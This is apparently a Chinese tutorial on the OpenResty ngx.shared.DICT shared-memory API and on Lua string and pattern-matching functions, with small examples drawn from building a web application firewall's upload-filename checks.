与get方法类似,区别在于该方法对于过期的key也会返回,第三个返回参数表明返回的key的值是否已经过期,true表示过期,false表示没有过期。

> ngx.shared.DICT.set
语法:success, err, forcible = ngx.shared.DICT:set(key, value, exptime?, flags?)
“无条件”地往共享内存上插入key-value对,这里讲的“无条件”指的是不管待插入的共享内存上是否已经存在相同的key。三个返回值的含义:
success:成功插入为true,插入失败为false
err:操作失败时的错误信息,可能类似”no memory”
forcible:true表明需要通过强制删除(LRU算法)共享内存上其他字典项来实现插入,false表明没有删除共享内存上的字典项来实现插入。
第三个参数exptime表明key的有效期时间,单位是秒(s),默认值为0,表明永远不会过期;flags参数是一个用户标志值,会在调用get方法时同时获取得到。
local cats = ngx.shared.cats
local succ, err, forcible = cats:set(“Marry”, “it is a nice cat!”)

> ngx.shared.DICT.safe_set
语法:ok, err = ngx.shared.DICT:safe_set(key, value, exptime?, flags?)
与set方法类似,区别在于不会在共享内存用完的情况下,通过强制删除(LRU算法)的方法实现插入。如果内存不足,会直接返回nil和err信息”no memory”
注意:
set和safe_set共同点是:如果待插入的key已经存在,那么key对应的原来的值会被新的value覆盖!

> ngx.shared.DICT.add
语法:success, err, forcible = ngx.shared.DICT:add(key, value, exptime?, flags?)
与set方法类似,与set方法区别在于不会插入重复的键(可以简单认为add方法是set方法的一个子方法),如果待插入的key已经存在,将会返回nil和和err=”exists”

> ngx.shared.DICT.safe_add
语法:ok, err = ngx.shared.DICT:safe_add(key, value, exptime?, flags?)
与safe_set方法类似,区别在于不会插入重复的键(可以简单认为safe_add方法是safe_set方法的一个子方法),如果待插入的key已经存在,将会返回nil和和err=”exists”

> ngx.shared.DICT.replace
语法:success, err, forcible = ngx.shared.DICT:replace(key, value, exptime?, flags?)
与set方法类似,区别在于只对已经存在的key进行操作(可以简单认为replace方法是set方法的一个子方法),如果待插入的key在字典上不存在,将会返回nil和错误信息”not found”

> ngx.shared.DICT.delete
语法:ngx.shared.DICT:delete(key)
无条件删除指定的key-value对,其等价于
ngx.shared.DICT:set(key, nil)

> ngx.shared.DICT.incr
语法:newval, err = ngx.shared.DICT:incr(key, value)
对key对应的值进行增量操作,增量值是value,其中value的值可以是一个正数,0,也可以是一个负数。value必须是一个Lua类型中的number类型,否则将会返回nil和”not a number”;key必须是一个已经存在于共享内存中的key,否则将会返回nil和”not found”.

> ngx.shared.DICT.flush_all
语法:ngx.shared.DICT:flush_all()
清除字典上的所有字段,但不会真正释放掉字段所占用的内存,而仅仅是将每个字段标志为过期。

> ngx.shared.DICT.flush_expired
语法:flushed = ngx.shared.DICT:flush_expired(max_count?)
清除字典上过期的字段,max_count表明上限值,如果为0或者没有给出,表明需要清除所有过期的字段,返回值flushed是实际删除掉的过期字段的数目。
注意:
与flush_all方法的区别在于,该方法将会释放掉过期字段所占用的内存。

> ngx.shared.DICT.get_keys
语法:keys = ngx.shared.DICT:get_keys(max_count?)
从字典上获取字段列表,个数为max_count,如果为0或没有给出,表明不限定个数。默认值是1024个
注意:
强烈建议在调用该方法时,指定一个max_count参数,因为在keys数量很大的情况下,如果不指定max_count的值,可能会导致字典被锁定,从而阻塞试图访问字典的worker进程。

Lua 语言中字符串可以使用以下三种方式来表示:
单引号间的一串字符。
双引号间的一串字符。
[[和]]间的一串字符。
Lua中连接字符串使用..
Lua 提供了很多的方法来支持字符串的操作:
string.upper(argument):
字符串全部转为大写字母。
string.lower(argument):
字符串全部转为小写字母。
string.sub(s,i,j)
函数截取字符串s的从第i个字符到第j个字符之间的串。Lua中,字符串的第一个字符索引从1开始。你也可以使用负索引,负索引从字符串的结尾向前计数:-1指向最后一个字符,-2指向倒数第二个,以此类推。
string.len(“222”)
获取字符串长度。
string.char将整型数字转成字符并连接
string.char(97,98,99,100)
abcd
string.byte转换字符为整数值(可以指定某个字符,默认第一个字符)。
string.byte(“ABCD”,4)
68
string.byte(“ABCD”)
65
string.rep(string, n))返回字符串string的n个拷贝
string.rep(“abcd”,2)
abcdabcd
string.reverse(arg)字符串反转
string.reverse(“Lua”)
auL

lua string库里最强大的函数是那些模式匹配函数:find, match, gsub, gmatch。和其他脚本语言不同,lua既没有用POSIX的正则表达式,也没有用perl的正则表达式。原因是实现这些导致lua占用更多内存,而lua的初衷是小巧的,嵌入应用的语言。 lua用少于500行的代码实现了自己的一套模式匹配,虽然不如标准的正则表达式强(一般需要4000以上代码),但也足够强大。
Lua支持的匹配模式:
. 任意字符
%s 空白符
%p 标点
%c 控制字符
%d 数字
%x 十六进制数
%z 代表0的字符
%a 字母
%l 小写字母
%u 大写字母
%w 字母数字
字符类的大写形式代表相应集合的补集, 比如 %A 表示除了字母以外的字符集
另外,* + – 三个,作为通配符分别表示:
*: 匹配前面指定的 0 或多个同类字符, 尽可能匹配更长的符合条件的字串,也就是正则中的贪婪匹配。
+: 匹配前面指定的 1 或多个同类字符, 尽可能匹配更长的符合条件的字串
-: 匹配前面指定的 0 或多个同类字符, 尽可能匹配更短的符合条件的字串,也就是正则中的非贪婪匹配。
用%进行转义。’%%’代表’%’

string.find
print(string.find(“haha”, ‘ah’) ) —– 输出 2 3
注意: lua 里面数组或者字符串的字符, 其下标索引是从 1 开始, 不是 0
string.find 默认情况下返回两个值, 即查找到的子串的 起止下标, 如果不存在匹配返回 nil。
如果我们只想要 string.find 返回的第二个值, 可以使用 虚变量(即 下划线)
_, q=string.find(“haha”, ‘ah’)
print(q) —– 输出 3
另外在WAF中匹配上传文件的名字时用到:
start_pos,end_pos,capture,capture2 = string.find(v,’Content%-Disposition: form%-data; name=”(.+)”; filename=”(.*)”\r\n’)
因为-表示的是非贪婪匹配,所以都需要用%-转义。另外用小括号括起来表示捕捉匹配到的字符串。这里捕捉了两次,所以多返回了两个值。

Lua中实现分割字符串的函数:

local function explode ( _str,seperator )  
    local pos, arr = 0, {}  
        for st, sp in function() return string.find( _str, seperator, pos, true ) end do  
            table.insert( arr, string.sub( _str, pos, st-1 ) )  
            pos = sp + 1  
        end  
    table.insert( arr, string.sub( _str, pos ) )  
    return arr  
end

string.match
string.match和string.find类似。都是在指定的string中

date = "now is 2014/10/6 17:58"
d = string.match(date, "%d+/%d+/%d+")
print(d)
输出2014/10/6
a,b = string.match("hello+world","(%a*)%+(%a*)")
print(a.."--->"..b) 
输出hello--->world

string.gmatch
将返回一个迭代器,用于迭代所有出现在给定字符串中的匹配字符串。
例如WAF中获取文件扩展名的函数写法如下:

function split_string(filename)--获取上传文件扩展名
    local _t = {}
    for w in string.gmatch(filename,"([^'.']+)") do     --按照.分割字符串
        table.insert(_t,w) 
    end
    local length = table.getn(_t)
    return _t[length]--返回table的最后一个元素
end
print(split_string("image.jpg.php"))

输出php

string.gsub(字符串,匹配模式,替代字符串,替换次数为空代表全部替换)
将所有符合匹配模式的地方都替换成替代字符串。并返回替换后的字符串,以及替换次数。

s,c = string.gsub("Lua is cute", "%s", "|")
print(s.." count:"..c) --> Lua|is|cute count:2
s,c = string.gsub("Lua is cute", "%s", "|",1)
print(s) --> Lua|is cute